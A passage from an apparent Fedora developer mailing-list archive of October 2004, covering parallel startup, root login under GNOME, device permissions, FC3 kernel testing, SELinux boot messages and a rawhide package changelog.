see: > > https://freedesktop.org/bugzilla/show_bug.cgi?id=1220 > > patch is very simple and short. > Any reasons why this is not applied in rawhide? > > Is it possible to have it in FC3? From mmitu at bitdefender.com Thu Oct 21 08:36:45 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Thu, 21 Oct 2004 11:36:45 +0300 Subject: Paralell startup In-Reply-To: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> Message-ID: <1098347805.16272.10.camel@localhost.localdomain> On Wed, 2004-10-20 at 10:13 -0700, James Harrison wrote: > > recache its fonts, or maybe ntpdate is syncing with the time server. > Sometimes daemons fail, so there has to be a mechanism to show a failure. > > What happens if the daemon/service fails that other daemons depend on? Does > the machine fail to boot properly or does it fail back to a serial boot? > I'd rather prefer to not launch any other daemons is one fails. Imagine that iptables fails to start for some reason and networking and network related daemons do start up properly, leaving the system open to "bad guys". -- Mircea MITU BitDefender Linux Business-Line Manager SOFTWIN - Data Security Division http://linux.bitdefender.com -- This message was scanned for spam and viruses by BitDefender For more information please visit http://linux.bitdefender.com/ From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Thu Oct 21 08:37:10 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Thu, 21 Oct 2004 10:37:10 +0200 Subject: Garbage screen after resume from suspend to disk In-Reply-To: <20041021095457.15f1f29d@pro8000x.aurox.org> References: <20041019172214.215c8138@pro8000x.aurox.org> <20041021095457.15f1f29d@pro8000x.aurox.org> Message-ID: <20041021103710.6215d64e@localhost> Jaroslaw Gorny wrote : > No answer, hmmm. > So, should I understand, that it's not important at all? > I thought ATI are quite popular theese days. Unfortunately, because of the final freeze, you may have to wait for an Xorg errata later on before getting that on FC3 :-( Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.607.radeon Load : 1.68 1.64 1.24 From jgorny at aurox.org Thu Oct 21 08:52:47 2004 From: jgorny at aurox.org (Jaroslaw Gorny) Date: Thu, 21 Oct 2004 10:52:47 +0200 Subject: Garbage screen after resume from suspend to disk In-Reply-To: <20041021103710.6215d64e@localhost> References: <20041019172214.215c8138@pro8000x.aurox.org> <20041021095457.15f1f29d@pro8000x.aurox.org> <20041021103710.6215d64e@localhost> Message-ID: <20041021105247.66e6d99a@pro8000x.aurox.org> On Thu, 21 Oct 2004 10:37:10 +0200 Matthias Saou wrote: > Jaroslaw Gorny wrote : > > > No answer, hmmm. > > So, should I understand, that it's not important at all? > > I thought ATI are quite popular theese days. > > Unfortunately, because of the final freeze, you may have to wait for > an Xorg errata later on before getting that on FC3 :-( > Final freeze? But I've seen in rawhide-report some new patches (also for ATI cards) in xorg two or three days ago. and in rawhide report: 20041020 changes I've found: - Add xorg-x11-6.8.1-init-origins-fix.patch, which fixes a crash for some invalid xorg.conf combinations (#134967). Can You please tell me what kind of patches can be included _after_ final freeze? I just want to know in case I'll have similar questions in the future... regards, Jarek From harald at redhat.com Thu Oct 21 09:20:53 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 21 Oct 2004 11:20:53 +0200 Subject: Paralell startup In-Reply-To: <41774B74.4050608@insitesinc.com> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> <0687A3DEE8748B522BA84319@[10.169.6.246]> <41774B74.4050608@insitesinc.com> Message-ID: <41777F75.8060404@redhat.com> Michael Favia wrote: > My quick 2 cents: > > The goal of a parallel startup is to plunge the user into the graphical > login as quickly as possible while the remaining daemons continue > starting in the background. This gives the feel of a faster startup and > in reality does just that with limited functionality as remaining > services come to life. > Keep in mind, that for a login, you need network services in some environments (NIS, kerberos, ...) So the dependencies have to check for these needs also. From aportal at univ-montp2.fr Thu Oct 21 09:44:41 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Thu, 21 Oct 2004 11:44:41 +0200 Subject: Devices and permissions In-Reply-To: <1098290652.18506.74.camel@localhost.localdomain> References: <200410141611.42456.aportal@univ-montp2.fr> <200410201824.56614.aportal@univ-montp2.fr> <1098290652.18506.74.camel@localhost.localdomain> Message-ID: <200410211144.48175.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Le mercredi 20 Octobre 2004 18:44, Matias F?liciano a ?crit : > Le mercredi 20 octobre 2004 ? 18:24 +0200, Alain PORTAL a ?crit : > > > Add a warning : > > > - /dev/ttyS? : Permission denied, more information in > > > /usr/share/doc/-pkgversion>/README > > > > In %description? > > Why not. > > The application should popup the warning _when_ the application (already > installed) failed to access /dev/ttyS? . > Something like : > if ((fd = open("/dev/ttyS0", ...)) == EACCES) { > msg_popup("/dev/ttyS0 : Permission denied, more information in > /usr/share/doc/-/README") ; } > > With this, you are sure that the README will be read (if needed). OK. > > I was graphically login (kde) as normal user. > > I opened a filemanager as root to open the /etc/security/console.perms > > file. > > Is /etc/security/console.perms still world readable ? Yes. > > I made the change and save file. > > I logout. > > I try to login as normal user but it fails, X didn't want to start and > > here is the message I saw (sorry, in french) : > > " Un serveur X est d?j? lanc? sur le visuel :0. Est-ce que je dois > > essayer un autre visuel ? Si vous r?pondez non, j'essayerai de d?marrer > > le szerveur sur :0 une nouvelle fois. (Vous pouvez afficher diff?rentes > > consoles en utilisant Ctrl+Alt et une touche de fonction Fn, etc)" > > One time I said yes, other time I said no, but I had the same result, > > unable to start X. > > If I try to login as root, I succeed. > > Finally, I had to comment the permissions definitions I added and reboot. > > I had also to delete /tmp/.X?-lock. > > I can't really help here. Sorry. > > Get the original console.perms : > rpm2cpio pam-...i386.rpm | cpio -iv -m -d ./etc/security/console.perms > > Do a diff with your console.perms and check if there is sometime wrong. Nothing wrong, the only difference I saw is the one I made. I renounce this solution. Administrator would have to add users in lp and uucp groups. Thanks for all your answers. Regards. - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBd4UN8dRVJ41NdFARAuE9AKD7d0euE+magGh37olfQquFisjozQCeM6Dc cRWLQpUn2baNtoajmGBOgi8= =c9GQ -----END PGP SIGNATURE----- From alan at redhat.com Thu Oct 21 09:53:13 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 21 Oct 2004 05:53:13 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098145638.10425.3.camel@localhost.localdomain> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> Message-ID: <20041021095313.GA16929@devserv.devel.redhat.com> On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > I agree with you, fwiw. Any reason to need to log in as root is a bug. Then gdm is a bug 8) You need root login when things like ldap go away otherwise you can't login. When you can fix gdm to automatically switch to telepathy mode let me know. Similarly if the system develops problems and you need to boot to single user you need root. Keep to "root should not be needed in normal situations" and I'd agree Alan From alan at redhat.com Thu Oct 21 09:57:34 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 21 Oct 2004 05:57:34 -0400 Subject: MySQL 4 stalled in Red Hat legal department In-Reply-To: <417430BD.6020500@redhat.com> References: <02910BF11C768FFA12F1D3E9@[10.0.0.4]> <417430BD.6020500@redhat.com> Message-ID: <20041021095734.GB16929@devserv.devel.redhat.com> On Mon, Oct 18, 2004 at 11:08:13AM -1000, Warren Togami wrote: > fault that their opinion is the wording of the current exception is > self-contradictory, and the real problem license that needs to be > changed to avoid this problem is PHP. Umm not quite.. you'd have to fix openssl and some others too. Won't happen. From nphilipp at redhat.com Thu Oct 21 10:02:13 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 21 Oct 2004 12:02:13 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041021095313.GA16929@devserv.devel.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> Message-ID: <1098352934.15825.3.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-21 at 05:53 -0400, Alan Cox wrote: > On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > Then gdm is a bug 8) You need root login when things like ldap go away otherwise Although you don't necessarily need a graphical login. > you can't login. When you can fix gdm to automatically switch to telepathy mode > let me know. Similarly if the system develops problems and you need to boot > to single user you need root. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From harald at redhat.com Thu Oct 21 10:26:04 2004 From: harald at redhat.com (Harald Hoyer) Date: Thu, 21 Oct 2004 12:26:04 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: References: Message-ID: <41778EBC.5050206@redhat.com> Elliot Lee wrote: > As of today, almost everything is frozen rock solid for FC3 - the only > changes that should be going in from this point are fixes for > showstopper(*) bugs, and kernel bug fixes. > > Because a good amount of kernel work for FC3 happened after the FC3test3 > release, the release of the final FC3 has been delayed to November 8. The > extra time will be used only to give extra attention to the kernel, and to > find any showstopper bugs in other parts of the distribution. > > Please rigorously test kernel 2.6.9-1.640 from the development tree > (http://download.fedora.redhat.com/pub/fedora/linux/core/development/). > Use it! Try to break it! Find big problems with it! File bug reports! And > thanks for making sure that Fedora is as high quality as you want it to > be. > > Happy bug hunting, > -- Elliot > (*) A showstopper bug is one that corrupts data storage or severly > impacts the user's basic ability to install and use the system. > still no .640 ... only .639 ! From jochen at herr-schmitt.de Thu Oct 21 10:50:03 2004 From: jochen at herr-schmitt.de (jochen at herr-schmitt.de) Date: Thu, 21 Oct 2004 12:50:03 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed Message-ID: <6673282$109835552241779342f39078.51995475@config12.schlund.de> Elliot Lee schrieb am 20.10.2004, 23:45:57: > Please rigorously test kernel 2.6.9-1.640 from the development tree > (http://download.fedora.redhat.com/pub/fedora/linux/core/development/). Becouse this kernel has a issue by using the nvidia driver, I have put a bug request on livna.org, see: http://bugzilla.livna.org/show_bug.cgi?id=289 to create a new RPM, which should contain a patch which allow to use the nvidia driver with 2.6.9 kernels until the release of the next official version of the nvidia driver should fix this bug. Best Regards: Jochen Schmitt From d.lesca at solinos.it Thu Oct 21 10:52:46 2004 From: d.lesca at solinos.it (Dario Lesca) Date: Thu, 21 Oct 2004 12:52:46 +0200 Subject: fc1: kernel panic: compaq proliant Message-ID: <1098355965.3289.261.camel@lesca.home.solinos.it> Hi, I have a system with FC1 installed on Compaq Proliant DL360 G3 1G Ram + smart array ecc.. On the system run an application used from 30/40 users via ssh Once to the day the system goes to kernel panic, how to I can make in order to analyze the reason? in the /var/log/messages I see nothing, is possible obtain a crash log? Another question: Where I can find the system monitor tools released from compaq/hp for RHEL3.0, they are available these tools for Fedora? Many thanks and sorry for my bad english ... -- Dario Lesca From buildsys at redhat.com Thu Oct 21 12:45:31 2004 From: buildsys at redhat.com (Build System) Date: Thu, 21 Oct 2004 08:45:31 -0400 Subject: rawhide report: 20041021 changes Message-ID: <200410211245.i9LCjVO18627@porkchop.devel.redhat.com> Updated Packages: anaconda-10.1.0.0-1 ------------------- * Wed Oct 20 2004 Jeremy Katz - 10.1.0.0-1 - Lowercase OSA addresses from a parm file too (karsten) - Turn off beta nag for FC3 release binutils-2.15.92.0.2-5 ---------------------- * Wed Oct 20 2004 Jakub Jelinek 2.15.92.0.2-5 - fix --just-symbols on ppc64 (Alan Modra, #135498) bogl-0.1.18-4 ------------- * Wed Oct 20 2004 Jeremy Katz - 0:0.1.18-4 - rebuild again ckermit-8.0.209-9 ----------------- * Wed Oct 20 2004 Peter Vrabec - add BuildRequires: libtermcap-devel BuildRequires: ncurses-devel - rebuilt dialog-1.0.20040731-3 --------------------- * Wed Oct 20 2004 Harald Hoyer 1.0-20040731-3 - rlandry at redhat.com refined his patch (bug 136374) dietlibc-0.27-4 --------------- * Wed Oct 20 2004 Jeremy Katz - 0.27-4 - use the right version of the patch - fix memleak noticed by ensc dos2unix-3.1-21 --------------- * Wed Oct 20 2004 Miloslav Trmac - 3.1-21 - Don't just delete the original file when destination and current directory are on different filesystems (#65548, #123069, patch by James Antill) - Fix return type of StripDelimiter in dos2unix-3.1-safeconv.patch (#136148) gdb-6.1post-1.20040607.41 ------------------------- * Sun Oct 10 2004 Andrew Cagney 1.200400607.40 - Disable attach-pie.exp test, hangs on amd64 without auxv. - Move pie tests to pie. * Sun Oct 10 2004 Andrew Cagney 1.200400607.39 - Fix comment bug in sigstep.exp. gdm-2.6.0.5-6 ------------- * Wed Oct 20 2004 Ray Strode 1:2.6.0.5-6 - Clean up xses if the session was successfullly completed. (fixes bug #136382) ghostscript-7.07-33 ------------------- * Wed Oct 20 2004 Tim Waugh 7.07-33 - Fix for bug #136322 (temporary files). gtk2-2.4.13-2 ------------- * Wed Oct 20 2004 Owen Taylor - 2.4.13-2 - Fix up backspace-deletes-character patches to actually work (#135656.) * Wed Oct 20 2004 Matthias Clasen - Fix the translation of default:LTR in pa.po (#136431) hwdata-0.145-1 -------------- * Wed Oct 20 2004 Bill Nottingham - 0.145-1 - remove ahci mappings, don't prefer it over ata_piix im-sdk-12.1-1 ------------- * Mon Oct 18 2004 Jens Petersen - 1:12.1-1 - update to 12.1 final (svn2002, stable r12_1 branch) - the following patches are included and so no longer needed: iiimsf-rename-and-install-under-libexec.patch, iiimsf-fix-missing-sockdir.patch and iiimsf-improve-segv-log.patch - update iiimsf-rh-debuginfo.patch - fix debuginfo missing many files (136159) - add im-sdk-12.1-preserve-FLAGS.patch to prevent subpackages from overriding CFLAGS, CXXFLAGS and LDFLAGS so that debuginfo gets generated completely - include RPM_OPT_FLAGS in CFLAGS and CXXFLAGS - add gimlet-indic-lang-data.patch to correct Bengali locale in language data (Lawrence Lim, 134194) - add is_snapshot variable * Sat Oct 16 2004 Akira TAGOH - added iiimf-libs-devel Requires: iiimf-libs = %{epoch}:%{version}-%{release} (#135977) * Fri Oct 15 2004 Akira TAGOH - 1:12.0.1-17.svn1994 - iiimsf-fix-missing-sockdir.patch: fixed not working at all if /var/run/iiim/.iiimp-unix or whatever is missing. (#135750) - iiimsf-improve-segv-log.patch: improved the log messages. (Warren Togami) kernel-2.6.9-1.640 ------------------ * Wed Oct 20 2004 Dave Jones - Fix ia64 module loading. (#136365) kernel-utils-2.4-13.1.39 ------------------------ * Wed Oct 20 2004 Miloslav Trmac - Add Requires: kudzu for smartd-conf.py (#134056) libgnomedb-1.0.4-3 ------------------ * Wed Oct 20 2004 Caolan McNamara 1.0.4-3 - #rh136069# Backport crashfix on no tables - #rh136361# Move icon for gnome properties mc-4.6.1-0.8 ------------ * Wed Oct 20 2004 Jindrich Novy 4.6.4-0.8 - update from CVS - drop mc-php.syntax, more recent version in upstream - add utf8-input patch - sync strippwd, uglydir, extensions patches with upstream - add 8bitdefault patch to enable 8-bit input by default openoffice.org-1.1.2-10 ----------------------- * Tue Oct 19 2004 Dan Williams - 1.1.2-10 - #rh134195# polygon icons reversed in Draw (Caolan) - #rh122550# change regexp for gnome-vfs (Caolan) - #rh134505# OOo commits preedit strings before the actual commit - #rh126103# unable to fall back to indic font in oowriter - #rh135709# need 32 bit redhat-artwork installed by default for HelixPlayer and openoffice pam-0.77-65 ----------- * Wed Oct 20 2004 Tomas Mraz 0.77-65 - #74062 modify the pwd-lock patch to remove NIS passwd changing deadlock * Wed Oct 20 2004 Tomas Mraz 0.77-64 - #134941 pam_console should check X11 socket only on login pango-1.6.0-7 ------------- * Wed Oct 20 2004 Owen Taylor - 1.6.0-7 - Fix problem with pango_layout_get_attributes returning one too few items (Needed to fix problems mentioned in #135656, http://bugzilla.gnome.org/show_bug.cgi?id=155912) php-4.3.9-3 ----------- * Wed Oct 20 2004 Joe Orton 4.3.9-3 - fix segfault introduced upstream in CAN-2004-0958 patch rpmdb-fedora-3-0.20041021 ------------------------- s390utils-1.3.2-1 ----------------- * Fri Oct 15 2004 Phil Knirsch 2:1.3.2-1 - Update to s390-tools-1.3.2 - Added qetharp, qethconf, ip_watcher, tunedasd and various other tools to improve functionality on s390(x). selinux-policy-targeted-1.17.30-2.6 ----------------------------------- * Wed Oct 20 2004 Dan Walsh 1.17.30-2.6 - Allow squid to read squid_conf_t lnk files slocate-2.7-12 -------------- * Wed Oct 20 2004 Thomas Woerner 2.7-12 - added /mnt/floppy to PRUNEPATHS system-config-netboot-0.1.8-1 ----------------------------- * Wed Oct 20 2004 Dan Walsh 0.1.8-1 - Update lang - Bug report 136410 system-config-network-1.3.22-1 ------------------------------ * Wed Oct 20 2004 Harald Hoyer - 1.3.22 - translation updates, added nb.po (bug 136462) system-config-securitylevel-1.4.13-1 ------------------------------------ * Wed Oct 20 2004 Dan Walsh 1.4.13-1 - Add description for httpd_unified system-config-services-0.8.15-1 ------------------------------- * Wed Oct 20 2004 Nils Philippsen 0.8.15-1 - include all languages (#136460) ttfonts-zh_CN-2.14-10 --------------------- * Wed Oct 20 2004 Leon Ho 2.14-10 - further fix of bug #135519 for postscript is using CIDFnmap unix2dos-2.2-24 --------------- * Wed Oct 20 2004 Miloslav Trmac - 2.2-24 - Don't just delete the original file when destination and current directory are on different filesystems up2date-4.3.46-1 ---------------- * Wed Oct 20 2004 Adrian Likins 4.3.46 - finalize fc3 urls #135700 - some pychecker cleanups - remove /etc/sysconfig/rhn/sources (mover to *-release package) usermode-1.74-1 --------------- * Wed Oct 20 2004 Jindrich Novy 1.74-1 - add patch from Mathew Miller (mattdm at mattdm.org) to use own user's password instead of root's in authentization (the user must be a member of specific group to enable it) xorg-x11-6.8.1-12 ----------------- * Wed Oct 20 2004 Kristian H??gsberg 6.8.1-12 - Add NULL check in xorg-x11-6.8.1-init-origins-fix.patch to prevent crashes on single head setups. * Tue Oct 19 2004 Mike A. Harris 6.8.1-11 - Added xorg-x11-6.8.1-ati-radeon-mobility-display-detection-fix2.patch to fix ATI Radeon Mobility display detection issue. (#132865, 133147, and upstream bugs: (fdo #1599, 1301, 1303, 1374, 1482, 1514, 1622, and 1631, and numerous others not on our lists)) * Tue Oct 19 2004 Mike A. Harris 6.8.1-10 - Set with_fonts based off build_fc2 macro, so it is enabled for FC2 builds but remains disabled for FC3 and other builds. Makes it easier to rebuild for FC2/FC1. - Fix to make Vera font really get deleted this time for real. ;o) yum-2.1.10-2 ------------ * Wed Oct 20 2004 Jeremy Katz - 2.1.10-2 - remove repositories from being explicitly listed in yum.conf, .repo files will be included in the fedora-release package From rdieter at math.unl.edu Thu Oct 21 13:19:50 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 21 Oct 2004 08:19:50 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> Message-ID: <4177B776.30705@math.unl.edu> Florian La Roche wrote: > On Tue, Oct 19, 2004 at 04:16:31PM +0200, Lars wrote: > >>kde 3.3.1 is still not in rawhide. >>would be great to have it there. > We've been closing down the trees and try to focus on bug-fixing only, > so this version update was vetoed. I wonder how/why evolution-2.0.2 made it in then. -- Rex From jspaleta at gmail.com Thu Oct 21 13:28:41 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 21 Oct 2004 09:28:41 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098352934.15825.3.camel@gibraltar.stuttgart.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098352934.15825.3.camel@gibraltar.stuttgart.redhat.com> Message-ID: <604aa791041021062815fa4b07@mail.gmail.com> On Thu, 21 Oct 2004 12:02:13 +0200, Nils Philippsen wrote: > Although you don't necessarily need a graphical login. I'm not sure I like using the argument that expects people to use a console login in which they are unfamiliar to the tools. As more and more wizardy Setting Setting tools get developer to ease the task of administration on for subsystems, you have to expect less proficiency at the commandline among admins in the userbase overall. If openldap authing can be configured without stepping foot into consoleland, having a way to troubleshoot common configuration failure modes of openldap without dropping to console would seem appriopriate. The argument isn't so much about bare minimum 'needs' to get the job done. The argument is, adminsn especially less experienced admins, are going to find ways to use the tools they are comfortable with to solve their defcon 3 problems so it gets solved as quickly as possible. With that preamble in mind.... is "best practise" with regard to openldap or other network authing to have at least one locally authed unprivlegded "operator" as suggested previously in this thread? If so, are their opportunities in the ui tools in Core to strongly suggest or strongarm if not require that such a local operator be created? -jef From nphilipp at redhat.com Thu Oct 21 13:52:38 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 21 Oct 2004 15:52:38 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <604aa791041021062815fa4b07@mail.gmail.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098352934.15825.3.camel@gibraltar.stuttgart.redhat.com> <604aa791041021062815fa4b07@mail.gmail.com> Message-ID: <1098366759.15825.11.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-21 at 09:28 -0400, Jeff Spaleta wrote: > On Thu, 21 Oct 2004 12:02:13 +0200, Nils Philippsen wrote: > > Although you don't necessarily need a graphical login. > > I'm not sure I like using the argument that expects people to use a > console login in which they are unfamiliar to the tools. As more and The user can then still login on the command line and run startx as others have pointed out ;-). Seriously, system-config-authentication could just run authconfig when not running in X. > more wizardy Setting Setting tools get developer to ease the task of > administration on for subsystems, you have to expect less proficiency > at the commandline among admins in the userbase overall. If openldap > authing can be configured without stepping foot into consoleland, > having a way to troubleshoot common configuration failure modes of > openldap without dropping to console would seem appriopriate. The > argument isn't so much about bare minimum 'needs' to get the job done. > The argument is, adminsn especially less experienced admins, are going > to find ways to use the tools they are comfortable with to solve their > defcon 3 problems so it gets solved as quickly as possible. > > With that preamble in mind.... is "best practise" with regard to > openldap or other network authing to have at least one locally authed > unprivlegded "operator" as suggested previously in this thread? If so, > are their opportunities in the ui tools in Core to strongly suggest or > strongarm if not require that such a local operator be created? Good idea. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Thu Oct 21 13:54:56 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 21 Oct 2004 15:54:56 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <6673282$109835552241779342f39078.51995475@config12.schlund.de> References: <6673282$109835552241779342f39078.51995475@config12.schlund.de> Message-ID: <1098366896.15825.14.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-21 at 12:50 +0200, jochen at herr-schmitt.de wrote: > Elliot Lee schrieb am 20.10.2004, 23:45:57: > > > Please rigorously test kernel 2.6.9-1.640 from the development tree > > (http://download.fedora.redhat.com/pub/fedora/linux/core/development/). > > Becouse this kernel has a issue by using the nvidia driver, I have put > a bug request on livna.org, see: > > http://bugzilla.livna.org/show_bug.cgi?id=289 > > to create a new RPM, which should contain a patch which allow to use the > nvidia driver with 2.6.9 kernels until the release of the next official > version of the nvidia driver should fix this bug. Are you sure you haven't been bitten by https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136478 instead? The livna.org nvidia drivers run flawlessly< so far here (admittedly with -1.639 and not -1.640 but AFAICS that shouldn't matter). Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From dnjinc at wowway.com Thu Oct 21 14:26:21 2004 From: dnjinc at wowway.com (Demond James) Date: Thu, 21 Oct 2004 10:26:21 -0400 Subject: Security alert message on startup Message-ID: <4177C70D.9090408@wowway.com> This has been happening for a while but I haven't seen it reported here. kernel: Security Scaffold v1.0.0 initialized kernel: SELinux: Initializing. kernel: SELinux: Starting in permissive mode kernel: There is already a security framework initialized, register_security failed. kernel: selinux_register_security: Registering secondary module capability From sds at epoch.ncsc.mil Thu Oct 21 14:31:01 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 21 Oct 2004 10:31:01 -0400 Subject: Security alert message on startup In-Reply-To: <4177C70D.9090408@wowway.com> References: <4177C70D.9090408@wowway.com> Message-ID: <1098369061.5486.99.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-21 at 10:26, Demond James wrote: > This has been happening for a while but I haven't seen it reported here. > > kernel: Security Scaffold v1.0.0 initialized > kernel: SELinux: Initializing. > kernel: SELinux: Starting in permissive mode > kernel: There is already a security framework initialized, > register_security failed. > kernel: selinux_register_security: Registering secondary module > capability That's not truly an error; it just reflects the fact that the capability module couldn't register as the primary security module (due to SELinux having already done so) and falling back as a secondary module. -- Stephen Smalley National Security Agency From walters at redhat.com Thu Oct 21 14:51:31 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 21 Oct 2004 10:51:31 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041021095313.GA16929@devserv.devel.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> Message-ID: <1098370291.16197.6.camel@decepticon.boston.redhat.com> On Thu, 2004-10-21 at 05:53 -0400, Alan Cox wrote: > On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > Then gdm is a bug 8) You need root login when things like ldap go away otherwise > you can't login. A lot of sites using LDAP probably also use NFS (or otherwise networked) home directories, and so if you can't contact the LDAP server, you're unlikely to be able to get to the NFS server either, and thus you don't have any access to your data. So what use is it to log in as root? Besides, giving one's users root access to their machines to make up for one's inability to set up a reliable, replicated LDAP setup is probably a bad idea :) Now, if you're talking about something like laptops: John Dennis and Dan Reed were working a while back on fixing this. The idea is that the first time you log in, your credentials are cached. If the network is unreachable, then your login is verified against cached credentials. > When you can fix gdm to automatically switch to telepathy mode > let me know. Similarly if the system develops problems and you need to boot > to single user you need root. That doesn't really count as "login". I don't think anyone was suggesting to disable single user mode out of the box. From dima at snaiper.no-ip.com Thu Oct 21 14:58:42 2004 From: dima at snaiper.no-ip.com (DemonGloom) Date: Thu, 21 Oct 2004 16:58:42 +0200 Subject: vesafb-tng and kernel. Message-ID: <1098370722.30842.0.camel@DemonLinux> Will be included vesafb-tng path (fix 60 hz in console) in fedora kernel? -------------- next part -------------- An HTML attachment was scrubbed... URL: From skvidal at phy.duke.edu Thu Oct 21 14:58:54 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 21 Oct 2004 10:58:54 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098370291.16197.6.camel@decepticon.boston.redhat.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <20041021095313.GA16929@devserv.devel.redhat.com> <1098370291.16197.6.camel@decepticon.boston.redhat.com> Message-ID: <1098370734.16036.0.camel@binkley> On Thu, 2004-10-21 at 10:51 -0400, Colin Walters wrote: > On Thu, 2004-10-21 at 05:53 -0400, Alan Cox wrote: > > On Mon, Oct 18, 2004 at 08:27:18PM -0400, Havoc Pennington wrote: > > > I agree with you, fwiw. Any reason to need to log in as root is a bug. > > > > Then gdm is a bug 8) You need root login when things like ldap go away otherwise > > you can't login. > > A lot of sites using LDAP probably also use NFS (or otherwise networked) > home directories, and so if you can't contact the LDAP server, you're > unlikely to be able to get to the NFS server either, and thus you don't > have any access to your data. So what use is it to log in as root? Because root can typically login b/c: root account/pw is local root homedir is local root can fix the problem if it's just a futzed network adapter. -sv From davej at redhat.com Thu Oct 21 15:13:33 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 21 Oct 2004 11:13:33 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: References: Message-ID: <20041021151332.GD26170@redhat.com> On Thu, Oct 21, 2004 at 09:38:33AM -0500, Ian Pilcher wrote: > Elliot Lee wrote: > >Use it! Try to break it! Find big problems with it! File bug reports! And > >thanks for making sure that Fedora is as high quality as you want it to > >be. > > Please take a look at > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=127862 > > and tell me why I should bother filing bug reports. Because the amount of code changed upstream since your last report means this might be fixed. Bugs that get no replies doesn't mean no-one is listening.[*] Dave [*] Though I'll admit my recent bugzilla activity has dropped to almost nil due to my 